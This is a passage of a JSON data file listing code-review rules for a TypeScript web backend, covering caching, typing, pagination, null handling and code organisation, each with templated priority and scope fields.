instead of being hardcoded at the call site.","apiRule":"Inline quick-fix logic (like splitting a payload into fixed chunks) should be pulled into a named utility with parameterized sizes instead of being hardcoded at the call site. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Guard the container before indexing an optionally-chained value","rule":"Optional chaining stops at the first nullish link; indexing the result of a possibly-undefined access still throws.","apiRule":"Optional chaining stops at the first nullish link; indexing the result of a possibly-undefined access still throws. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"universal"},{"title":"Return a consistent DTO shape across all sources implementing the same contract","rule":"When multiple entities implement a shared DTO method, ensure every one returns the same fields (use a shared/extended interface or always-present values) so consumers get a uniform shape.","apiRule":"When multiple entities implement a shared DTO method, ensure every one returns the same fields (use a shared/extended interface or always-present values) so consumers get a uniform shape. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Group related routes into their own router instead of cluttering a shared one","rule":"When two or more similar endpoints accumulate in a catch-all router, move them into a dedicated sub-router to keep the routing table readable.","apiRule":"When two or more similar endpoints accumulate in a catch-all router, move them into a dedicated sub-router to keep the routing table readable. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Deduplicate a collection before mapping, not after","rule":"Remove duplicates on the raw list before transforming it; deduping post-map often forces you to carry extra fields just to identify duplicates.","apiRule":"Remove duplicates on the raw list before transforming it; deduping post-map often forces you to carry extra fields just to identify duplicates. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Expose a focused getter/method rather than handing out the whole entity","rule":"To let callers read one derived value, expose a getter or method for it; don't leak the underlying entity object so the deriving logic stays inside the owning class.","apiRule":"To let callers read one derived value, expose a getter or method for it; don't leak the underlying entity object so the deriving logic stays inside the owning class. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep image scaling/CDN-wrapping transforms in one consistent layer","rule":"Apply imaginary/resize/CDN-wrap transforms in a single, predictable place (e.g. the repository) rather than sometimes returning raw full-resolution URLs and transforming elsewhere.","apiRule":"Apply imaginary/resize/CDN-wrap transforms in a single, predictable place (e.g. the repository) rather than sometimes returning raw full-resolution URLs and transforming elsewhere. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Tag deferred fixes with a TODO and a tracking ticket, don't fix tech debt mid-PR","rule":"Avoid expanding a task's scope for tech-debt cleanup; mark the spot with a TODO referencing a ticket so it's tracked and the current PR stays focused.","apiRule":"Avoid expanding a task's scope for tech-debt cleanup; mark the spot with a TODO referencing a ticket so it's tracked and the current PR stays focused. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"End every file with a trailing newline","rule":"Files should end with a single newline; this is standard, keeps diffs clean, and satisfies common linters.","apiRule":"Files should end with a single newline; this is standard, keeps diffs clean, and satisfies common linters. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Delete methods superseded by an existing equivalent","rule":"Before adding a new helper, check whether one already exists; if you later find your new method duplicates an existing one, delete the duplicate rather than leaving both.","apiRule":"Before adding a new helper, check whether one already exists; if you later find your new method duplicates an existing one, delete the duplicate rather than leaving both. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Handle non-200 success statuses, not just status !== 200 as failure","rule":"Treating any status other than 200 as an error breaks legitimate responses like 304 Not Modified; check for the actual failure range or handle 304 explicitly.","apiRule":"Treating any status other than 200 as an error breaks legitimate responses like 304 Not Modified; check for the actual failure range or handle 304 explicitly. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Make environment-dependent values config-driven, not hardcoded to prod","rule":"URLs, IDs, and namespaces that differ per environment should come from config keyed by the current environment instead of a hardcoded production string.","apiRule":"URLs, IDs, and namespaces that differ per environment should come from config keyed by the current environment instead of a hardcoded production string. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Pass a couple of related primitives as parameters, not wrapped in a throwaway object","rule":"If a method takes two scalar values that are immediately destructured, accept them as plain parameters instead of wrapping them in an object only to unwrap it inside.","apiRule":"If a method takes two scalar values that are immediately destructured, accept them as plain parameters instead of wrapping them in an object only to unwrap it inside. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use the library's data accessors instead of manual attribute strings","rule":"With cheerio/jQuery-style APIs, prefer element.data('id') / element.data('id', v) over manually reading and writing data-* attributes; it's cleaner and less error-prone.","apiRule":"With cheerio/jQuery-style APIs, prefer element.data('id') / element.data('id', v) over manually reading and writing data-* attributes; it's cleaner and less error-prone. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Discriminate union members with type guards consistently","rule":"If you have a type guard for one variant of a union (isTvArticle), add guards for the other variants too rather than checking shapes ad hoc.","apiRule":"If you have a type guard for one variant of a union (isTvArticle), add guards for the other variants too rather than checking shapes ad hoc. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Collapse a trivial arrow-function block to a single expression","rule":"A callback that only returns an object can drop the block and explicit return in favor of an implicit-return object literal.","apiRule":"A callback that only returns an object can drop the block and explicit return in favor of an implicit-return object literal. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use a Set for membership/lookup collections, not an array","rule":"When a static collection exists only to answer 'does it contain X', a Set communicates intent and gives O(1) lookups versus an array's linear scan.","apiRule":"When a static collection exists only to answer 'does it contain X', a Set communicates intent and gives O(1) lookups versus an array's linear scan. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Instantiate a dependency where it's used rather than threading it through","rule":"If a provider/helper is only needed inside one method, create it there instead of building it in the caller and passing it down through several layers.","apiRule":"If a provider/helper is only needed inside one method, create it there instead of building it in the caller and passing it down through several layers. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Prefer the simpler query method when you don't need its heavier variant","rule":"Use the lightweight query call (asArray) over the iterating/paginating one (all) when limits make the difference moot; the iterating variant adds unnecessary count checks and extra round-trips.","apiRule":"Use the lightweight query call (asArray) over the iterating/paginating one (all) when limits make the difference moot; the iterating variant adds unnecessary count checks and extra round-trips. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Use the cache wrap/memoize helper instead of manual get/set","rule":"Prefer a `cache.wrap(key, producer, opts)` helper that returns cached value or computes-and-stores, over hand-written get-check-set-return blocks.","apiRule":"Prefer a `cache.wrap(key, producer, opts)` helper that returns cached value or computes-and-stores, over hand-written get-check-set-return blocks. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Don't throw an error only to catch it yourself one line later","rule":"If you handle a failure in the same function, log and return/produce the fallback directly instead of throwing into your own try/catch.","apiRule":"If you handle a failure in the same function, log and return/produce the fallback directly instead of throwing into your own try/catch. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Centralize cache-key computation and TTL constants in one place","rule":"Let the caching layer compute the key (so the hashing strategy lives in one spot) and define TTLs as named, semantic constants rather than scattering raw numbers across call sites.","apiRule":"Let the caching layer compute the key (so the hashing strategy lives in one spot) and define TTLs as named, semantic constants rather than scattering raw numbers across call sites. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Make methods static when they don't depend on instance state","rule":"If a method or field reads nothing from `this`, mark it static; it documents that the logic is instance-independent and avoids needless instantiation.","apiRule":"If a method or field reads nothing from `this`, mark it static; it documents that the logic is instance-independent and avoids needless instantiation. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"For singletons, export the instance rather than the class","rule":"Export `SomeClass.Instance` as the module default so callers don't repeat `.Instance` everywhere and cannot accidentally `new` the class.","apiRule":"Export `SomeClass.Instance` as the module default so callers don't repeat `.Instance` everywhere and cannot accidentally `new` the class. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Pick interface vs type by convention and apply it uniformly","rule":"Decide a project convention for when to use interface vs type alias (and the I/T prefix), then apply it consistently; don't let an auto-fixer flip type to interface while leaving a T-prefixed name.","apiRule":"Decide a project convention for when to use interface vs type alias (and the I/T prefix), then apply it consistently; don't let an auto-fixer flip type to interface while leaving a T-prefixed name. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Keep null out of a named type alias; add it at the point of optionality","rule":"Define a type alias as the non-null shape and apply `| null` where the value is actually optional, instead of baking null into the alias itself.","apiRule":"Define a type alias as the non-null shape and apply `| null` where the value is actually optional, instead of baking null into the alias itself. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Reserve underscore-prefixed names for private members only","rule":"Don't prefix a public getter/method with an underscore; the underscore convention signals 'private/internal', so either drop it or make the member actually private.","apiRule":"Don't prefix a public getter/method with an underscore; the underscore convention signals 'private/internal', so either drop it or make the member actually private. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't expose an internal constant as a parameter when the method name already implies it","rule":"If a method's name fixes the data set (e.g. agendaIrWidgetArticles), don't take the defining id/tag as a caller parameter; keep it internal so callers can't pass a contradictory value.","apiRule":"If a method's name fixes the data set (e.g. agendaIrWidgetArticles), don't take the defining id/tag as a caller parameter; keep it internal so callers can't pass a contradictory value. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"When a function signature returns T | null, actually return null for the empty case","rule":"If you declared a return type of `T | null` to signal 'nothing here', return null in that case instead of an object full of null/empty fields that the caller must re-check.","apiRule":"If you declared a return type of `T | null` to signal 'nothing here', return null in that case instead of an object full of null/empty fields that the caller must re-check. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Don't reach for generics when each concrete case maps differently","rule":"A generic type parameter only pays off when implementations are identical except for T. If each variant hardcodes its own mapping, a plain shared interface with a differing field is simpler.","apiRule":"A generic type parameter only pays off when implementations are identical except for T. If each variant hardcodes its own mapping, a plain shared interface with a differing field is simpler. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Factor near-identical type guards into one generic validator","rule":"When several `isValidX` guards share the same body except the lookup set, extract a single generic helper and define each guard as a thin call to it.","apiRule":"When several `isValidX` guards share the same body except the lookup set, extract a single generic helper and define each guard as a thin call to it. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Parse query params with a uniform typed-destructure pattern across handlers","rule":"Use the same typed query-param destructuring style (typed object + defaults via destructuring) across route handlers instead of one-off casts, for a consistent, predictable codebase.","apiRule":"Use the same typed query-param destructuring style (typed object + defaults via destructuring) across route handlers instead of one-off casts, for a consistent, predictable codebase. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Return the final shape from its source rather than re-mapping downstream","rule":"If a repository/data method is the sole producer of a shape and nothing else consumes its raw form, have it return the final interface directly instead of mapping it again in the caller.","apiRule":"If a repository/data method is the sole producer of a shape and nothing else consumes its raw form, have it return the final interface directly instead of mapping it again in the caller. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Do not expose pagination params an endpoint cannot honor","rule":"Accepting an offset that has no effect (because the upstream cannot paginate) misleads callers; omit the param or document the limitation.","apiRule":"Accepting an offset that has no effect (because the upstream cannot paginate) misleads callers; omit the param or document the limitation. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Set a derived validity flag before the code path that reads it","rule":"A flag initialized true and only flipped false by getters invoked later is read stale; compute validity (e.g. via setters in the constructor) before it's consumed.","apiRule":"A flag initialized true and only flipped false by getters invoked later is read stale; compute validity (e.g. via setters in the constructor) before it's consumed. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Beware switch values that can be undefined","rule":"If the switched expression can be undefined, the switch still runs and may match an unintended case; guard for undefined before switching.","apiRule":"If the switched expression can be undefined, the switch still runs and may match an unintended case; guard for undefined before switching. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Place routes in the namespace that matches their purpose","rule":"Use action/api namespaces for interactions and read namespaces for simple static reads; putting a read under an action path (or vice versa) misleads.","apiRule":"Use action/api namespaces for interactions and read namespaces for simple static reads; putting a read under an action path (or vice versa) misleads. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Keep generated URL paths consistently absolute with a leading slash","rule":"Generated link paths should start with '/' to match sibling fields and avoid relative-path bugs.","apiRule":"Generated link paths should start with '/' to match sibling fields and avoid relative-path bugs. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Include a stable id in list items so clients can key them","rule":"API list items consumed by a UI should carry a stable identifier so the frontend can use it as a render key.","apiRule":"API list items consumed by a UI should carry a stable identifier so the frontend can use it as a render key. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Run the formatter before pushing so style is consistent","rule":"Inconsistent formatting (missing semicolons, spacing) should be auto-fixed by running the project formatter/prettier before review.","apiRule":"Inconsistent formatting (missing semicolons, spacing) should be auto-fixed by running the project formatter/prettier before review. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Do not overload a single field to mean two different concepts","rule":"Conflating distinct concepts (e.g. article source vs article type) into one parameter breeds confusion; model them as separate fields/enums.","apiRule":"Conflating distinct concepts (e.g. article source vs article type) into one parameter breeds confusion; model them as separate fields/enums. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Implement an interface fully rather than stubbing methods that throw","rule":"Extending a base/interface but stubbing required methods with 'throw new Error(not implemented)' signals the wrong abstraction; implement them or pick a better base.","apiRule":"Extending a base/interface but stubbing required methods with 'throw new Error(not implemented)' signals the wrong abstraction; implement them or pick a better base. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Accept the simplest type a function actually needs","rule":"If a method only ever uses url.toString(), accept a string rather than a URL object so the signature reflects the real dependency.","apiRule":"If a method only ever uses url.toString(), accept a string rather than a URL object so the signature reflects the real dependency. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep fetch error handling inside the method that owns the fetch","rule":"Push the try/catch around a network call down into the fetch method so the higher-level method stays focused on its logic.","apiRule":"Push the try/catch around a network call down into the fetch method so the higher-level method stays focused on its logic. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Set cache TTL to match how often the data actually changes","rule":"A very short TTL on rarely-changing data (e.g. logos) causes needless refetches; size the TTL to the data's real volatility.","apiRule":"A very short TTL on rarely-changing data (e.g. logos) causes needless refetches; size the TTL to the data's real volatility. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Return a Map keyed by id when callers do repeated lookups","rule":"If consumers repeatedly look items up by id, return a Map/keyed object instead of an array so lookups are O(1) and call-site code is simpler.","apiRule":"If consumers repeatedly look items up by id, return a Map/keyed object instead of an array so lookups are O(1) and call-site code is simpler. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Parse boolean query params explicitly, not via truthiness","rule":"Query params arrive as strings, so '?flag=false' is the truthy string 'false'. Compare against 'true' explicitly.","apiRule":"Query params arrive as strings, so '?flag=false' is the truthy string 'false'. Compare against 'true' explicitly. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Do not reference repositories from inside domain entities","rule":"Entities depending on repositories creates tangled coupling; keep data access in the repository/service layer and pass data into entities.","apiRule":"Entities depending on repositories creates tangled coupling; keep data access in the repository/service layer and pass data into entities. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Do not couple a generic interface to a more specific one","rule":"Picking fields from a narrower interface to define a broader/more generic one inverts the dependency direction; define the shared shape independently.","apiRule":"Picking fields from a narrower interface to define a broader/more generic one inverts the dependency direction; define the shared shape independently. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Avoid else-if that implies a nonexistent third case","rule":"When an enum has exactly two values, an else-if chain misleads readers into thinking a third branch exists; prefer a clearer two-way form or default.","apiRule":"When an enum has exactly two values, an else-if chain misleads readers into thinking a third branch exists; prefer a clearer two-way form or default. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Remove conditional defaulting that produces the same value either way","rule":"A guard like 'if x>0 use x else 0' on a non-negative value is a no-op; drop it. Push defaults into getters instead of building parallel objects.","apiRule":"A guard like 'if x>0 use x else 0' on a non-negative value is a no-op; drop it. Push defaults into getters instead of building parallel objects. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Do not JSON.stringify a value that is already a string","rule":"Calling JSON.stringify on a plain string adds quotes and serves no purpose when feeding a hash or update call; pass the string as-is.","apiRule":"Calling JSON.stringify on a plain string adds quotes and serves no purpose when feeding a hash or update call; pass the string as-is. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use nullish coalescing so a value matches its declared null type","rule":"If a getter is typed string | null, optional chaining alone can yield undefined; add ?? null so the runtime value matches the type.","apiRule":"If a getter is typed string | null, optional chaining alone can yield undefined; add ?? null so the runtime value matches the type. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use the API's boolean helper instead of counting elements","rule":"When a library exposes a boolean check (e.g. hasClass), use it rather than selecting elements and inspecting their count.","apiRule":"When a library exposes a boolean check (e.g. hasClass), use it rather than selecting elements and inspecting their count. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use find (not filter + loop) when you expect a single match","rule":"If at most one element matches, filter followed by a forEach that overwrites is wasteful and bug-prone; use find and handle the single result.","apiRule":"If at most one element matches, filter followed by a forEach that overwrites is wasteful and bug-prone; use find and handle the single result. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Confine a cross-cutting dependency to the layer that owns it","rule":"A dependency like a cache model should live in the base/dedicated class that uses it, not be threaded through unrelated subclasses and their constructors.","apiRule":"A dependency like a cache model should live in the base/dedicated class that uses it, not be threaded through unrelated subclasses and their constructors. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Paginate at the data source, not by slicing in memory","rule":"Pass limit/offset down to the query layer instead of fetching everything and slicing afterward; in-memory slicing wastes fetch bandwidth and breaks at scale.","apiRule":"Pass limit/offset down to the query layer instead of fetching everything and slicing afterward; in-memory slicing wastes fetch bandwidth and breaks at scale. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Distinguish failures from empty results in API responses","rule":"On a genuine fetch/processing failure return an error payload, not an empty array, so callers can tell 'nothing found' apart from 'something broke'.","apiRule":"On a genuine fetch/processing failure return an error payload, not an empty array, so callers can tell 'nothing found' apart from 'something broke'. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Make error log messages reflect the actual failure source","rule":"A catch that can fire for multiple reasons shouldn't hardcode one cause in its message; describe accurately or distinguish.","apiRule":"A catch that can fire for multiple reasons shouldn't hardcode one cause in its message; describe accurately or distinguish. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use object rest destructuring to omit properties concisely","rule":"To strip a field from each object in a list, destructure with rest instead of manual reconstruction.","apiRule":"To strip a field from each object in a list, destructure with rest instead of manual reconstruction. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Place code in the module that matches its responsibility","rule":"Generic, reusable code (e.g. a serializer) doesn't belong in a feature-specific file; move it to a fitting location.","apiRule":"Generic, reusable code (e.g. a serializer) doesn't belong in a feature-specific file; move it to a fitting location. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad 